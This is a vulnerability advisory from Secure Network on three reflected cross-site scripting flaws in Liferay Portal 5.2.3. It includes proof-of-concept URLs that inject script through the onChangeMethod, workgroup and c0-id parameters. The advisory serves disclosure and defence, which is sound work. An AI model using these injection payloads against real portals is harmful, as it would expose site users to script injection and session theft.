Security Research Advisory

Liferay Multiple Reflected Cross-Site Scripting (XSS)

Table of Contents

Reflected Cross-Site Scripting (XSS)					Advisory Number
					SN-11-01
Severity	Software	Version(s)	Accessibility	CVE	Author(s)
M	Liferay Portal Standard Edition	5.2.3	Remote	-	Claudio Criscione
	Vendor URL		Advisory URL		
	http://www.liferay.com		-		

Date	Details
n./d.	Vendor disclosure
n./d.	Vendor acknowledgment
n./d.	Patch release
n./d.	Public disclosure

Summary

Liferay Portal is a free and open source enterprise portal written in Java and distributed under the GNU Lesser General Public. It is fundamentally constructed of functional units called portlets. Liferay's support for plugins extends into multiple programming languages, including support for PHP and Ruby portlets.

Vulnerability Details

Because of poor validation of some user controlled inputs, it is possible to conduct XSS attacks that could lead Liferay's data loss of confidentiality, integrity and availability.

Secure Network discovered three input validation errors that lead to XSS vulnerabilities in Liferay Portal. These vulnerabilities were discovered on version 5.2.3, but other versions are likely to be vulnerable as well.

Technical Details

Description

The following list provides a set of proof of concept (PoC) that could be used to trigger the vulnerabilities on a vulnerable Liferay Portal installation:

XSS PoC 1:

```
http://example/html/js/editor/liferay.jsp?onChangeMethod=
xxx()}}alert(1);{{
```

XSS PoC 2:

```
http://example/webchat/email/offline-
mail.jsp?workgroup=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
```

XSS PoC 3:

```
http://example/webchat/dwr/exec/room.getChatQueue.dwr?callCount=1&c0-
scriptName=room&c0-methodName=getChatQueue&c0-
id='%3Cscript%3Ealert(1)%3C/script%3E'&c0-
param0=string:2RB9N617G1&xml=true
```

Legal Notices

Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41